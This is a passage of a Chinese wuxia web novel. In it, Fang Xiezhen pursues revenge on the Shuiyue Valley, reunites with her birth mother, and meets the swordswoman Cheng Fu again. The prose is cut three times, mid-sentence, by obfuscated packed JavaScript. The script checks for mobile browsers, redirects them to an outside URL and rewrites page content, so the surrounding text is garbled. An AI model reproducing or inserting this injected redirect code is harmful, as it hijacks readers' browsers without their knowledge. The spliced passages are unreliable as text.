方撷真却大惊大慌地拦住程芙,这人好生薄情冷酷,居然说走就能走! 她孤身在外的时日长了,为了给方虹报仇求过许多人,早就能屈能伸,道歉更是信手拈来:“是我不好,我不该逼你,我不够尊重你……” “你不必哭,也不要自责,只是我们不适合深交而已。” 程芙声线温柔,动作却强硬,言语间一只脚踏向门外:“方撷真,保重啊。” 她的轻功是白霓裳的徒儿里最好的那一个,甚至是整个澄意山庄最好的那一个,她想走,几乎无人能留住。她甚至将门给带上,只为延缓方撷真追逐的时间。 是以在方撷真追出门时,程芙已全然解开了马缰绳,往原野深处奔驰了。 方撷真大慌大乱,立即策马去追,她不能叫程芙就这么走,她的剑术学得还不够好,杀不了武红英、武绿华两个恶人;她的亲朋好友所剩无几,不能再失去一个! “程芙——!” 程芙铁了心,任方撷真如何呼唤都不回头。 平心而论,她走得并不畅快,因为心口的闷堵是骗不了人的,她在遗憾,她在惋惜。 她认为方撷真是个不错的人,活泼开朗,学武学得非常勤快,可惜她们并不适合做朋友。 黑马闪电似的驶入树林,程芙要直接返程,那么走这里就是最近的路。 树影斑驳,时不时可闻虫鸣鸟语。 程芙行得越深,越发觉得阴森寒冷,万幸她认识路,知道该往哪走。 身后应当没有人在追了,马蹄由此放慢,哒哒声一轻,其他动静就会放大。 “救命……救命……” 程芙听见一道痛苦的呻吟。 她勒停了马,警惕地往那方向探查。 原来灌木丛后挖了个大坑,兴许是猎人为了捕猎留下的,坑底卧着个奄奄一息的人,血淋淋的,腹部被利器从背后贯穿,若得不到及时的治疗,凶多吉少。 程芙按了按额头,凭她一人的力量,实在很难将成年人从坑底救起来。 然而方圆数里人烟寥寥,她只能想到一个人可以帮她。 人命关天,程芙立时骑马折返,却不想在树林外撞上苦苦追寻自己的方撷真,两人对上视线,皆是愣了神。 “阿芙,你不走了吗?!”急火攻心的方撷真红着脸,又惊又喜,可她看了看这片茂密树林,又道,“……还是迷路了?” 程芙不欲多费言辞,唯恐耽误了时间:“林子里有人受伤了,劳你帮我一把,救他上来。你快随我来。” 方撷真眉心深蹙,像是有所顾虑:“在哪里受伤?受的什么伤?” 程芙难得面露急色,催促道:“我们边走边说,你快随我来。” 方撷真只能跟上去,掌心一层层地冒汗,这林子里没有猛兽,地势平坦,若真有人受伤,恐怕只能是…… “他掉进了猎人挖的陷阱,腹部有贯穿伤。” 为着程芙的这声应答,方撷真紧紧咬住了牙。 * 那大坑上方覆着树叶枝丫,藏得极隐蔽,难怪会有人掉进去。 坑底的人近乎昏迷,还有力气呻吟都是万幸。 程芙费了番功夫,好不容易才和方撷真将伤者救起。她屡次注意到方撷真的异常,呼吸沉重、眼神闪躲,不过人命要紧,她没有心思多想多问。 人救上来了,程芙略通医道,便要为其把脉,谁知才牵过对方的手腕,就听方撷真大喝一声: “不要救他!” 程芙敏锐地低头一睨,此人腕间竟刻着一枚红色的弦月印记。 他是水月谷的人。 “阿芙,你不要救他!我求求你!”方撷真疯了似的扑过来,将那人往远推。 程芙哪里肯见死不救,遂桎住方撷真的手臂,满目肃然:“不救他,他必死无疑。” “死就死!他该死!” 方撷真凄厉地嘶吼,整张脸都涨红了,容色狰狞。 程芙眸色稍沉,今日怕是要知道方虹的死因将:“你冷静下来,好好说给我听。” 方撷真遂猛吸了几口气,眼泪却往外冒:“他害死了我娘……他害死了我娘啊!” 江湖里是是非非的血海深仇不胜枚举,程芙虽未亲历过,却早听过无数次。她抚上方撷真剧烈起伏的脊背,温声询问道:“你确定你娘死在他手中?” 方撷真哽咽道:“我娘虽没有死在他手里,可他到底出身水月谷,我怎能不恨?” 答案已经得到,程芙二话不说,直接将人背起来扛上马背:“人命要紧,我带他进城。” “程芙!”方撷真愤愤又失望,她和程芙即使要断了缘分,可过去的情谊难道都是假的?程芙为何不能站在她的立场,与她一条心呢?! “你不必说了。”程芙挡在方撷真面前,“那都是你们的事,今天我只管做好我自己的事。” 语罢,她翻身上马,先行离去。 马蹄声哒哒哒地砸在方撷真心坎上,她留在原地,动弹不得,连腿如何迈都忘了。 不远处,散落着几样东西,像是伤者身上掉落的。 方撷真本打不起来兴趣,却无意瞥见一本书册上的几个醒目大字。 《水月秘典》。 这……就是血刃峰要的东西! 方撷真瞳孔震颤,连忙拾起它翻看,目光最终落在最后一页上:“回魂术?” 水月谷,擅秘术。 《水月秘典》中记载,水月回魂术,可招来逝者亡魂,令其魂魄在另一人身上复生。 7. 空空(1) 光熙元年。 跟随方虹逃离骆都四年后,方撷真回到出生的地方。 郁郁葱葱的山林间,竟藏匿着一扇巨大石门,她初见这等磅礴恢宏之物,不禁惊叹。 石门一侧,又卧一巨石,上刻“水月谷”三字。 方撷真心尖泛着凉,追杀她的命令,分明是从这石门后发出,她和方虹却,要在这石门后求生。 “见到谷主,一定要认她,她能保护你。” 这话,方虹已嘱咐过许多次,生怕方撷真忘记。 方撷真僵着脸点头,她至今无法接受生母另有其人。怎么会呢,抚养了她二十年的方虹,不仅不是她亲娘,还是将她从亲娘身边偷走的人? 这份震惊将要伴随她一生了,方撷真没有放下此事的自信。 “我要开门了,真儿。” 二十年过去,方虹还记得入谷的机关如何开启,很快,石门随着隆的一声徐徐敞开,门内竟是一处空旷山洞,一眼望去,竟没有什么奇特。 “小心些,随着我走,不要走错路。”方虹拍拍方撷真的肩,示意她跟紧自己。 才进山洞,方撷真便懂得了方虹为何这样说。 洞壁布着无数机关,稍有不慎,踏错一步,便不知要以各种方式死亡了。脚下则刻着许多能活动的方形格子,根据人的动向而动,是触发机关的关键所在。 格子灵活变化,方虹走一步,算一步,还要顾及身后的方撷真,一趟走下来,已满头大汗。 “娘,你离开水月谷十几年了,竟还记得机关怎么过……”女儿崇拜母亲是很正常的事,而方撷真敬佩之余,还有许多对未知的畏惧。 方虹很珍惜方撷真的这声“娘”,以后,很难再听到。 她也珍视再摸一摸女儿脸颊的机会,遂将手扬起,落在方撷真侧脸,温声细语:“水月谷是个很年轻的江湖门派,成立不过三四十年,我离开的时候,谷中功法、机关都还不成熟……而且,我参与过山门机关的设计。” 方撷真瞠目,难怪方虹常在她小时候亲手做小玩具给她,什么小水车、九连环、小木马…… 都是灵巧又精致,原来方虹的本领不止是做小玩意儿,还能做大玩意儿。 再走几步,眼前豁然开朗,山洞另一侧是更大的天地,瀑布流水、桃花夕阳,俨然一处世外桃源。 * 半柱香后,方撷真母女被请进一间茶室。 茶室背阴,纵然开了大花窗,亮堂是亮堂,屋里依然凉飕飕的,又或者是方撷真心冷,再热的太阳也无用。 待会儿见了武红英,她该做什么? 喊一声“娘”,母女相认,然后呢? 抱头痛哭吗? 尴尬窘迫吗? 还是木偶似的呆坐着,相对无言,什么反应都不给? 恍若又过了二十年之久,门外才有人来,脚步声急促沉重,像是怕茶室里的人逃走一般。 方撷真不自在地夹紧手臂,未及一次呼吸,落在她脸上的光便被匆匆赶来的女人掩去许多。 门口出现了一个女人。 一个因奔跑而气喘吁吁、鬓发散乱的女人。 即使是血脉相连的母女,时隔多年再见,也未必能认出彼此,方撷真却在第一眼就相信,自己千真万确是武红英的女儿,做不得假。 她与武红英的容貌,足有七成相似。 一样的淡眉大眼,一样的高挺都鼻峰,宛若刀鞘。 只不过,年仅四十余岁的武红英,相貌竟格外很显老,鬓边华发丛生,全然没有盛年女子与一派掌门应有的精气神。 她枯槁多年的脸,终于在看清了方撷真时重显春华,唇齿却因久别重逢的冲击,说不出半个字,唯有一翕一合地颤动。 方撷真瞳孔稍震,原来这就是她亲娘啊。 和她想的完全不一样。 她以为水月谷谷主会是个意气风发的侠士,怎会是这般憔悴呢? “真儿。”不及方撷真回神,方虹悄悄提醒了一声。 方撷真闭了闭眼,冲武红英艰难唤道:“……娘。” 她的护身符有了,就是这声“娘”。 从今以后,水月谷不会再有人害她,她会是名正言顺的少谷主。 方虹安了心。 在武红英脸上,震惊与喜悦相融,悲痛和惋惜相衬,她几乎是扑过来,将方撷真拥进心口: “我知道是你,我一看你的长相就知道……天底下,只有你和我生得这么像!” 武红英的怀抱好暖,方撷真愣愣承受她的体温与重量,直至她抱够了,才松手。 一旁的方虹始终垂首,像是畏惧武红英即将落下的责罚,又像是不敢面对人家真正的母女在亲昵。 “回来就好,回来就好。” 武红英于主位上落座,还叫方撷真坐在自己身边,她目不转睛地盯着女儿,与她十指紧扣:“我以为你出生才几日便夭折……哪晓得是你姨母和方虹串通,编造出你夭折的谎言,更甚是拿别的死婴顶替你,实则是将你偷了去……” 当年的旧事,方撷真已经听方虹坦白过,武红英的确无辜得很,生育完没几日,元气大伤,又要受“丧女之痛”的打击,好生可怜。 方撷真实在很能理解武红英的悲痛,她心生怜悯,紧紧回握住生母的手,却也不愿将罪名落在养母头上: “娘,我养母对我很好……我平平安安回来了,旧事就不提了,好不好?” 武红英动容的神情霎时凝住,她万万想不到,阔别多年的女儿对自己说的第二句话,是给方虹求情。 望着生母骤变的面色,方撷真怀疑自己操之过急了,也许她该缓一缓再为养母求情。 但她又怕晚一时便会错一时,听闻江湖上的人杀人都不眨眼,她担忧方虹头上会落下恶果来。 “娘。”方撷真酝酿几息,终于决定要趁这机会,多唤武红英几声,“我和我养母……她……” “你只有我一个母亲。” 武红英毫不犹豫地打断,照旧是温和语气,却令方撷真很不舒服:“至于方虹,你可以直呼她的名字,或是念在抚养之恩,唤一声‘方姨’。” 方虹默默低下脸。 方撷真却仰着面庞,与武红英对视:“可是我养母对我很好。她养了我二十年,到头来怎就落得一声‘方姨’?” 武红英深陷的眼眶里虽溢着温柔,可这是一种绵里藏针、笑里藏刀,女儿捍卫养母养恩的同时,竟无情地剥夺了她的可怜,好可笑。 下一瞬,刀锋与针尖皆明晃晃地亮了出来。 武红英的嗓音冷下七分,一字字道:“她是偷走你的贼。若无武绿华和她,我们母女本该享天伦之乐,你这孩子太糊涂……太拎不清。” 二十年前,水月谷相师为武红英母女算命数, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159927|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟算出来个“母女相克、母死女活”的卦象。 武红英自是说什么都不信,倒是她妹妹武绿华狠了心,提出将才出生的女婴溺死,以破卦象。 然而武绿华到底存了点儿仁心,不忍姐姐的血脉就此断绝,遂命方虹将女婴放入盆中,顺河漂流,能活则活,不能活,则是命数不好。 方虹依言照做,却在将女婴放进盆里的一瞬,定了想做母亲的决心,从此消失在水月谷中。 十几年后,武红英从他人口中得知此事,也是从那时起,武绿华决定先下手为强,下达一道针对方撷真的追杀令。 方撷真为武红英的恼怒发了怵,本能地想撤手,微声道:“娘……可是她也救了我,她没有真让我顺水飘零啊。” 武红英恍若未闻,抚了抚女儿鬓角:“我叫人安排住处给你,你住得离娘近一点儿。你喜欢吃什么、穿什么、玩什么,只管告诉娘。你住在谷中,不用担心你姨母再害你。” “姨母如今,人在哪里呢?”方撷真必须要问一声那个想杀自己的人。 “你姨母在她该在的地方。”武红英推了推女儿的脊背,示意她尽快离开,显然是有话要和方虹单独谈,“好了,真儿,你快去吧,晚些时候母亲自去找你。” 方撷真不肯:“娘,你要和方姨说什么?” “不是你该问的。”武红英蹙眉,唤来两名徒子强行带走了方撷真。 于是茶室里就只余方虹、武红英二人。 外头的光真是明亮啊,争先恐后从花窗缝隙里钻进来,迫不及待吧方虹的脸割成一块一块。 方虹羞愧得抬不起头,她不介意背上“贼”的名头,这是她应受的烙印。 她犹记得二十年前武红英的风姿,二十年过去,武红英本不该像今日这样老态。 究其原因,无非是生育伤了元气,丧女又消磨了意志……一件件事加起来,只有四十来岁的武红英,老得竟像五十多的人。 “多谢你抚养真儿成人。” 武红英仍坐在主座上,沉沉的眼盯死了方虹:“可是你该知道,当初你与绿华合谋偷走真儿,便是对我的背叛。” 水月谷谷主武红英,从来不是个恶人,这么多年,水月谷即使没有名满江湖,却也没有涨过恶名。 正因如此,方虹纵使紧张忧虑,却抱了二三分的侥幸:“我会领罚。” 水月谷谷主武红英,也不是个慷慨仁慈、慈悲为怀的大善人:“看来你是已经做好赴死的准备了。” 方虹一惊,旋即又听武红英缓缓道: “绿华再如何不懂事,也是我的妹妹,你却不同,你非死不可。但是,你若死在我手中,真儿势必记恨我。唯有让真儿亲手杀了你,才能断她念想。” “不成!”方虹大惊,“让真儿杀了我,这太残忍!……她一辈子都走不出来的!” “没有什么事是走不出来、过不去的!你们偷我孩子那一日,怎不想一想我能否走出来!”武红英怒极,一掌掀翻白瓷茶杯,顿时水流了满地,“办法由你自己想,总而言之,你必须死在真儿手上。” “必须死吗?”方虹闭了闭眼。 “你若有遗愿,大可告知我。”方虹毕竟把方撷真养大了,武红英可以留一些余地。 方虹没有遗愿,只有心愿——她不想死,她要为自己争取活下去的可能,女儿已经平安无事了,那么她便只剩一个愿望。 8. 空空(2) 扈县县城。 伤者的伤势太重,凶多吉少,程芙寻了两个医馆,都说回天乏术,她也不强求,只请郎中尽力一试。 事已至此,她该做的都做完了,问心无愧了,生死也不依她了。 程芙要为郎中留出医治的空间来,遂退出了医馆内室。 由此,她和双目通红的方撷真对上视线。 两人皆久久不言,好半天了,程芙才道:“恨能蒙蔽人的眼睛,将人熬成修罗恶鬼。” 她见过方撷真天真的一面,不论是作为朋友,还是作为过客路人,眼睁睁看着一个心性纯净的人走向深渊,都是恐怖的事。 “你不是我,你怎知我心里的恨。”方撷真苦笑,“程大侠就没有恨过人吗?您是否太清高了些?有仇报仇,我何错之有?” 她言辞里的不满已然溢出来,程芙缺平静道:“冤有头债有主,你想报仇,也不能殃及无辜的人。” 泪落下来,方撷真一把拂去,身体不住地颤抖:“你看,你对报仇并非完全不认可。既然如此,何必拿‘恨能蒙蔽人眼’那一套说辞来哄我?你就这么虚假,对我没有一点真心。” 程芙无话可说。 她没有真心,还会拦一拦报仇心切的方撷真吗? 杀人是个口子,只要杀了第一个,杀第二个、第三个的时候就不会犹豫了。程芙随师娘杀过为祸百姓的匪徒,她初次落剑时万分恐惧,第二次落剑便不再那么忧虑。 但她能保证自己的剑只指向恶人的脖颈,可是方撷真呢? 程芙不想为自己辩解,只想再劝一劝方撷真:“你还没有误入歧途,一切都来得及。” 她不喜欢被人逼着,无论是方撷真五次三番询问她的师门出身,还是方撷真笃定她没有付出真情,她都无法忍受。 最后她什么话说不出口,原想向方撷真行一记抱拳礼作别的,却忍住了,只大踏步地出了医馆,绝尘而去。 此次分别,以后应当是真的不会再见面了。 程芙心中漫起惆怅,其实方撷真待她很好,做饭给她吃,带她到雪原上抓兔子、野鸡,她睡不惯木屋里的矮枕头,方撷真就讲故事来听…… 而她也尽可能地帮助方撷真提高剑术和轻功水准……罢了,程芙翻身上马,毅然驶离扈县县城。 一人离去,另一人活像铆钉,钉在了原地。 方撷真快将下唇咬破,程芙那话真是说错了,她在林中布置陷阱,等着人自投罗网的时候,就已经误入歧途了。 若无程芙插手,那名水月谷徒子就会是她杀的第一个人。 等她杀满十个人,血刃刀会为她报仇。 想至此处,她的心脏倏然抽痛一下,不对,她杀的第一个人分明是…… “姑娘,伤者是你的亲属吗?” 郎中从内间钻出来,满头大汗,他见方撷真泪眼婆娑,以为伤者与这姑娘有亲故关系:“我已无能为力。姑娘去见他最后一眼吧。” 方撷真眸一凛,立刻掀开内间的门帘,摸出那本《水月秘典》。 她在榻边落座,并不与伤者绕弯子,开门见山道:“这本书里提到的回魂术,真能叫人死而复生?” “你是我们的少谷主吧……”男子奄奄一息,即将咽气,她其实从未亲眼见过谷主之女,可方撷真与武红英实在生得太像。 “快说!”方撷真凶狠道。 男子的指尖动了动,声若蚊蝇:“我只不过是水月谷的无名小卒,没有资格学习秘典,我不知真假。” “无名小卒,竟能得到谷中秘典?” “我……我是偷到的……我怕事后遭到清算,逃出来了。” “你如何得到的我不管。我只问你,谁才知道回魂术真假?”方撷真屏气,若回魂术为真,她此生最大的遗憾便有解了。 男子想了想,如实回答:“大谷主、二谷主……还有谷中功力深厚的前辈们,或许知晓其中奥秘。” 对的,若论谁最精通水月谷秘术,非两位谷主莫属了。 方撷真肺腑间腾翻起汹涌热浪,是浇不灭的心火。 * 离开扈县后,程芙没有回云州,而是一路往西北,抵达故乡海云关。 快马加鞭,归心似箭。 海云关地处大殷边缘,再往深处走就是茫茫大漠,唯有边缘的绿洲地带有百姓居住。 程芙的故乡就在这里。 有好几次,她都想将阿婆阿公接到云州,两位老人家却总有拒绝的借口。 这也行,程芙便说自己不回云州了,要留在海云关照顾世上最后的血亲,阿婆和阿公却提着棍子将她赶出门去,让她好好学艺,不要困宥在大漠里。 “你和那姑娘就分道扬镳了吗?”孙女难得回来一次,程阿婆知道孙女爱吃烤饼,正低着头揉面。 “算是吧。”程芙脑里浮出方撷真的脸,睫羽轻颤,“阿婆很在意吗?” 因为自幼走丢,十几岁才回乡认亲,之后又分居两地、聚少离多,程芙和阿婆并不完全相熟,祖孙间隔着膜障。 她想打破这膜障。 程阿婆六十岁上下,身体还很硬朗,耳聪目明:“是啊,我很在意。我们阿芙出门在外,能交到朋友,是好事啊,可惜你们……” 程芙怕阿婆多思多虑,匆匆解释道:“我在山庄里,也有很多朋友。我师娘和许多师姨师叔、姊妹兄弟们都待我不错。” “不一样啊,”程阿婆不假思索道,“那个小姑娘,是你在外头闯荡时交到的,不是自家人,就是不一样。” “朋友也分内外亲疏?还分自家人和外人?” “我不是这个意思,哎,我也说不清。” 程阿婆为难住了,许久才晓得怎么说:“阿芙,你看,你的师姐妹、师兄弟们,都是和你从小一道长大的,像自己家里的亲人,本来就有缘分。但是那个小姑娘呢,是从外头的‘外人’,是你主动交到的朋友啊。” 和好的肉馅放在瓷碗里,散发着生肉的腥味,程芙理解了阿婆的意思,方撷真的不同之处,在于她和程芙都是主动地插足了彼此人生。 她笑了笑,不以为然:“阿婆,我倒觉得一样。我再打一桶水来,把外头的花浇了——待会儿我来揉面吧。” 程芙从阿婆的叹息里逃走,也是从对关于方撷真的讨论里逃走。 她推开门,径直到院子里的水井取水。 有的问题讨论不出意义的,她又不会倒转时间去和方撷真重归于好,既然如此,还和阿婆聊什么呢?徒增烦恼罢了。 水桶装满了,程芙用半桶浇花,半桶挑回屋子里用。 “阿芙,这次回家,你要住多久啊?” 每次听见阿婆这么问,程芙都不大想回答,因为阿婆与阿公总说她留家的时间太长,都没有时间学剑了。 当晚,程芙就听见阿婆阿公说悄悄话,说她幼时走丢未必是坏事,倘若一直留在海云关,她可能就是个普通丫头,哪里能拜入名门名扬天下呢? 程芙听完心里堵得厉害,却忍着没有问。 她未在故乡住上太久,一是肩上还有担子,二是阿婆阿公不愿她荒废光阴。 在夏天之前,她回到了云州。 暑气未至,风扑在脸上仍有些冷气。 程芙回来后自要去见师娘白霓裳,白霓裳刚好也有事情要和她交代: “一个月前,有人买你的消息。” “我?” 白霓裳替徒女解下沉甸甸的行囊,怕累着了她这打铁练剑的肩:“你放心,我们山庄自是不会出卖自家人的。是个女人来的,并未自报身份。” 女人?程芙凤眸稍眯。 “我觉得很不对劲,阿芙,你虽年轻,却在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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方撷真回来已经快满两月,她极有耐心,始终没有主动问询回魂术,连“水月秘典”四个字都没有提过。 毕竟她不了解武红英,武红英可是连亲妹妹都能囚/禁数年的人,倘若再疑心深重些,怀疑她回谷的目的,反倒不好。 十年二十年,方撷真都等得起。 “你回到娘身边,娘很高兴。” 武红英领先女儿一个身位,走在前头:“娘想将你介绍给江湖武林中的人认识。” 方撷真掀眸:“介绍我?” 武红英道:“你是我们水月谷的少谷主,将来要做谷主,当然该让整个江湖都知道你的名字。” 方撷真耳根酥酥麻麻的,眸光稍亮:“母亲,此言何意?” “我想邀请各大派做个见证。发放请柬的事便由你来做,锻炼锻炼你的能力。”武红英摸了摸女儿面颊,对她寄予厚望。 方撷真心潮澎湃,当日午后便忙起武红英交予她的任务。 她的字练得很是平常,方虹悉心教导过了,也没能教出一笔好字。武红英却坚持要她来写请柬,不能由让人代笔,且还说道:“此事唯有你能做。” 于是方撷真心口便更热,重重点了点头。 方撷真不会说漂亮话、打官腔,不懂请柬如何写才得体,武红英便一字字地教她。 “这封是写给澄意山庄的。”武红英抽出一张空白信纸,慢慢抚平。 方撷真不做言语,心却有千头万绪。 传闻澄意山庄通晓天下事,方撷真岁曾派人向其购买有关程芙的消息,却一无所获。 武红英又道:“裴庄主闭关,也不知她们山庄会是谁到场。” 9. 空空(3) 谷主武红英看重女儿,恨不得将请柬传至天涯海角。今日邀群英在此,她便是要广而告之,她的女儿回来了,水月谷的少谷主回来了,同时,也是放出水月谷要入世的信号。 金秋时节,气候凉爽,最适合办宴。 都说家丑不可外扬,武红英便放过了囚禁中的妹妹武绿华,却只带着女儿方撷真在山门处迎客。 方撷真对外的名字并不姓方,而是叫做“武撷真”,宾客皆唤她一声“武少谷主”。 她打心眼里不接受姓氏的更改,却很乐意接受随之而来的好处。 譬如方才,德道望重的某大侠向她行抱拳礼,再例如现在,威震四海的某前辈赞她前途无量大有可为——这都是因为她认回了武红英做母亲,因为她在世人心中的名字,就叫武撷真。 “今日见着的人,你务必都记住,日后将她们的身份与名字、长相对号入座。”武红英嘱咐女儿应学会认人。 方撷真:“我都记得的。那么多宾客从各处赶来,今天怕是到不齐。” “并非每个收到请柬的门派都会到场。金刀谷、天剑门便回了信,说了些客气的漂亮话,委婉表明不会出席。” 话至此处,武红英脸上掠过一丝落寞与愠怒:“若我们是澄意山庄、知夏阁那样的大门派,便不会有人看轻我们,我们的山门只会被人挤破。” 方撷真再不够敏锐,再不够了解生母,都能听出武红英的愤愤不平。 她也深深认可生母的话,她在骆都城时被方虹保护得很好,没有见识过拜高踩低,后来逃亡了、丧母了、一个人住在留仙原上了,才深刻体悟到弱小的人只会受人白眼。 心口热热的,方撷真握拳道:“母亲,我们水月谷也能发扬起来的。十年不够,就二十年,三十年。” 十年报不了仇,就二十年、三十年……总有她得偿所愿的一日。 武红英甚是赞许女儿的话:“你这份心性倒很不错。” 方撷真莞尔一笑,未作言语。 这日她见过许多形形色色的江湖客,用剑的用刀的,还有抡流星锤的,她觉得那流星锤甚是有趣,却压抑住好奇天性,没有上前摸一摸。 偶尔她会想起程芙的蜉蝣剑,时至今日,她仍觉得程芙的蜉蝣剑最漂亮,当真是薄如蝉翼、轻影锋利。 也不知程芙如今在哪里,在做什么。 约莫在黄昏时分,山坡那头并肩走来几人,身高相近,步伐同等的轻盈。 随着这几人脚步渐近,方撷真的瞳孔一毫一毫地缩紧。 她看见一张和五年前骆都城的那个月夜里,生得一样的脸。 五年前程芙提着剑,静静地向她望过来,眼神无波无澜,搅动夜色——五年后程芙将剑别在腰间,仍旧是平静如水的眼神,却搅动了方撷真心头的怨火。 ……程芙怎会在这里! 她到底是什么人! “诸位从云州过来,费了不少时日吧。”武红英迎上去,与白霓裳见了礼,继而又问,“这几位少侠,我未曾见过。” 白霓裳虽不是庄主,却分管澄意山庄的部分事务,在江湖中亦有不低的名望,她代替闭关的庄主前来赴约是情理之中:“武少谷主找回来了,是大喜事,再远也要来的——这是我徒儿,程芙。” 她先介绍了自己最得意的门生。 “原来是程芙姑娘,我晓得的,‘谋剑’之名早有耳闻。”武红英一惊,心生赞赏。 有的人不需报出身,只报大名,便能引得满座瞩目。 方撷真却什么都听不进去,只愣愣行了抱拳礼,讲了几句客套话。 寒暄过后,客人们与她擦肩而过,进了山门。 “真儿?”武红英发觉出女儿的异常,关切道地拍拍她后背。 方撷真心里麻麻的,好似有蚂蚁一浪一浪地爬来,又四散着退去:“那位程大侠,很有名气吗?” 武红英笑道:“澄意山庄的首席徒子,江湖小辈里的翘楚,‘剑未动,心先算’,是为‘谋剑’。她虽为人低调,不常崭露头角,却曾一鸣惊人,夺过论剑大会的魁首。你和她年龄相仿,大可与她结交。” ……好长的头衔,好高的评价啊。 这样的人,定也有不低的名气吧? 方撷真连瞳孔都不会转了,她想起骆都那间小小的铁匠铺,一个身穿布衣的铁匠,怎会是近些年赫赫有名的“谋剑”? 也想起和程芙一同在雪原上抓兔子吃,一个失足滑进雪堆里,满脸都是雪的普通剑客,怎会出身名门大派? 她好像被欺骗了,被蒙在鼓里了。 “母亲,”方撷真扯了扯武红英袖口,“我想和程大侠说几句话,向她请教。” 武红英挑眉,踌躇几息:“也好。听闻她性子孤僻奇怪,你务必礼貌些,不要得罪了。” 方撷真点头,赶忙回首追逐。 她有太多话要问,一刻都耽误不得! 才入山门不至几步,方撷真便望见石阶尽头的桂花树下立着道修长身影。 靛蓝色衣裳,长发高束,分明生得浓眉明目,却不见顾盼神飞之态,整个人宛若一池静水。 不及方撷真到身前,程芙便先启了唇,云淡风轻道:“恭喜你。” 一时间,方撷真心中五味杂陈,是她火急火燎要来追人,真到近处,她竟不知要问什么了。 她停在距程芙五步远的位置,酝酿半晌:“你在等我吗?” “我们应该有很多话要问彼此。”程芙连这一步都算到,她晓得有人会迫不及待地问她。 她原不想来的,是白霓裳要她对往事做个交代。 方撷真咬牙:“这里不是说话的地方,你随我来。” * 水月谷依山水而建,谷中一步一景,只需从山门内沿溪逆行,便能抵达一片清寂落寞的水潭,谭中藻荇交横,碧波轻漾。 “你可以直接问我。”程芙背对着潭水站定,凝视昔日友人。 “我竟不知道大名鼎鼎的‘谋剑’是你!” 方撷真本就不欲绕弯子,开口就是质问:“你何必瞒着我不说?这有什么好隐瞒的?我竟还指望能在澄意山庄买到你的消息……我真是傻子!” 程芙轻叹:“我不是有意要瞒你。我是谁很重要吗?” “不重要吗?”方撷真反问,“我们对彼此的了解根本不对等,你有把我当成朋友吗!” 音方落,方撷真便自嘲地笑了笑:“我忘了。程大侠说过,我们不适合深交。” 程芙却反客为主,也反问她:“我是什么谋剑快剑疾风剑,还是屠户裁缝泥瓦匠,会影响我和你的往事吗?” 方撷真哑口无言,是,无论程芙是谋剑快剑疾风剑,还是屠户裁缝泥瓦匠,都不影响那桩救命之恩,更不影响她蓄意接近程芙的初衷—— 她相中程芙的武功,想向程芙学艺,为母报仇。 方撷真只能故作释然地笑,以掩盖心虚:“你说得对,人与人之间切莫刨根问底,还是有秘密的好,否则便相处不成了。” 耳听着她扯开话题,程芙并不深究,就像她没有必要自报身份那样,追问方撷真接近自己的原因,也是没有必要的。 她只道:“武谷主待你好吗?” 方撷真怔忡了几息,眼底浮动着异样:“好不好又能如何,难道我娘的死就能当作过眼云烟吗?” “看来她待你是很好了。”程芙一语道破天机,“而且你仍想报仇。” 简简单单被套去了话,方撷真颇有些恼羞成怒,她不愿意冲程芙撒气,遂一脚踢飞了岸边的石子。 哒哒哒,石子在水面上漂了几步,沉入深潭,消失不见。 早在收到水月谷的请柬时,程芙便开始琢磨,一日、三日、五日…… 直至此刻,她才极不容易地理清思绪,将再劝一劝方撷真的执念轻轻放下。 如今重逢,她见到的是一个更有气色、更有意气风发之态的方撷真。 何况人各有命,程芙手中虽握剑,却没有荡平一切不平正的志向,她就只管自己,就只管身边的所见所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159929|165023||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闻。 来日,澄意山庄与水月谷一东一西,她和方撷真再难相见了。 是以程芙生疏地笑了一声,温声道:“你必定是下定了决心,才会认回武谷主。既然如此,我磨破嘴皮劝你不要误入歧途,也是无用。” “……你不劝我了吗?”方撷真瞠目。 “劝你有用吗?” “应该是没有用的吧。” 这不就是了,程芙笑而不语,这便打算离开。 “阿芙!” 方撷真却拦住她,几番欲言又止,半个字也挤不出。 幽谷凉风习习,携来桂花香的气,程芙不着急,她就耐心地等方撷真酝酿措辞,等多久都无妨。 “我们还是朋友吗?” 方撷真像犯了错的孩童,垂着睫羽,神色却很倔强,嘴上认错了,心里兴许还有点儿不服,还有点儿指望程芙也能说说软话。 心脏外头有肋骨,有皮肉,要看透一个有能力说谎的人的心脏太难太难。 程芙还记得白霓裳的要求——与方撷真说清楚话,不要留下剪不断理还乱的事。 她坚定地认为不适合与方撷真深交,却承认小木屋里的那五日是快乐欢愉的,遂回眸答道:“算吧。” * 水月谷是块宝地,冬暖夏凉,初秋的风打在身上,居然不觉寒冷料峭。 月圆之夜,月华最是皎洁明亮,再点上一盏盏晚灯,宴席便在谷中一块精心布置过的空地上开始了。 仰首是湛湛明月,俯身是美酒佳宥,幽微的桂花气在侧,令人直呼风雅。 武红英身为谷主,自是要讲些漂亮话。方撷真便静静听着,好将生母说话的技巧学进腹中,来日必能助自己声名远扬。 